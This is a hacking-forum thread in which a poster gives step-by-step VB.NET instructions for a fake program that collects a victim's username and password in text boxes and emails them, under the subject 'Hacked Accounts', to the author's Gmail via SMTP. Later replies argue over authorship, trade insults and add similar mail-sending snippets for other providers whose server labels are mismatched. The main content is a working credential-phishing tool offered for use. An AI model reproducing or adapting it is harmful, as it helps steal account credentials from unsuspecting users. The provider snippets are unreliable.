An0nymousHelper (08-25-2010),FallenDark (10-29-2010),iliakos4748 (04-21-2015)
What?
What were making is a fake program that sends the text in the text box to your gmail after the progress bar is done loading.The Design
This is pretty straight forward here just make a design with 2 text boxes, a button, a timer, and a loading bar.
The Code
Once your design is done double click on each "tool" in this order (for neatness) Form1, The timer, and lastly the button.
Now make a new Import like the following picture
Next add this in the Form1
What this means is that if Button1 is enabled then the timer is disabled.Code:Button1.Enabled = True Timer1.Enabled = False
Next add this code in the timer1
This checks for the progress bar and if its value is less > 0 then start the timer.Code:If ProgressBar1.Value <> 100 Then ProgressBar1.Value = ProgressBar1.Value + "1" If ProgressBar1.Value = 100 Then Timer1.Stop()
Next move to the button1 and add this to it
This starts the timer then emails you what is in the text box and once it hits the value 100 it stops it.Code:Timer1.Start() Dim UserName As String = "YourEmailHere@Gmail.com" Dim Password As String = "Your Emails" Dim mail As MailMessage = New MailMessage mail.From = New MailAddress(UserName) mail.To.Add(New MailAddress(UserName)) mail.Priority = MailPriority.High mail.Subject = "Hacked Accounts" mail.Body = "Username: " + TextBox1.Text + vbNewLine + vbNewLine + "Password: " + TextBox2.Text mail.IsBodyHtml = True Dim client As SmtpClient = New SmtpClient("smtp.gmail.com", 587) client.EnableSsl = True client.Credentials = New System.Net.NetworkCredential(UserName, Password) Try client.Send(mail) Catch ex As Exception MessageBox.Show("An error occured while processing your request. Please try again.") If ProgressBar1.Value = 100 Then Timer1.Stop() End Try
You can fool proof it yourself this was hardcoded by me.
An0nymousHelper (08-25-2010),FallenDark (10-29-2010),iliakos4748 (04-21-2015)
hahaha, you didn't make this, lol, don't take cred for other people's stuff, i doubt you made the server for this, idiot.
its just a simple phising or something like that -.-
and u leeched it -.-
CANNIBAL CORPSE P0WNS
lol you guys fail xD you can't leach this , that is like saying you could leach
msgbox("LOL")
the only person you could give credit to is Microsoft for creating the language xDD
all this code is , is a simple mail client that was made for .net very simple
Both of you shut the fuck up I just wrote this you get me the fucking link this is why new people cant register because people like you to dicks flame anyone that trys to do shit. Btw, learn some grammar you fucking retard. You don't need that many commas. Also, Go find me where I leached this off of including pictures you.
This Is So Simple . -_-
Need Help? With Anything? Add Me On Msn.
simplyown123@hotmail.com
Made By Me
-----------------------------------------------------------------
I know but some people may be new to VB... You just can't accept that some one is helping others...
This is like one of the first programs most people make.
1. Not that hard to do
2. So many tutorials for this why make one? (Even if it is leeched)
"And so, my fellow Americans, ask not what your country can do for you; ask what you can do for your country." -J.F.K.
If you want to use other connections then GMAIL
Look at this :
Hotmail:
AolCode:Dim mail As New MailMessage Try mail.To.Add(YourMail) mail.From = New MailAddress("Your mail") mail.Subject = txtsubj.Text mail.Body = txtmsg.Text Dim SMTP As New SmtpClient("smtp.live.com") SMTP.Port = 25 SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential("Your mail", "Your Pw".Text) SMTP.Send(mail) Catch ex As Exception MsgBox("Something Went Wrong", MsgBoxStyle.Exclamation, "Warning") End Try
Yahoo:Code:Dim mail As New MailMessage Try mail.To.Add("Your mail") mail.From = New MailAddress("Your Mail") mail.Subject = txtsubj.Text mail.Body = txtmsg.Text Dim SMTP As New SmtpClient("smtp.uk.aol.com") SMTP.Port = 465 SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential("Your Mail", "Your Pw") SMTP.Send(mail) Catch ex As Exception MsgBox("Something Went Wrong", MsgBoxStyle.Exclamation, "Warning") End Try
These are all the ones I know,Code:Dim mail As New MailMessage Try mail.To.Add("Your Mail") mail.From = New MailAddress("Your Mail") mail.Subject = txtsubj.Text mail.Body = txtmsg.Text Dim SMTP As New SmtpClient("plus.smtp.mail.yahoo.com") SMTP.Port = 465 SMTP.EnableSsl = True SMTP.Credentials = New System.Net.NetworkCredential("Your Mail", "Your Pw") SMTP.Send(mail) Catch ex As Exception MsgBox("Something Went Wrong", MsgBoxStyle.Exclamation, "Warning") End Try
Thank me if I helped ^^
ITS MEH BITCHESSS !!!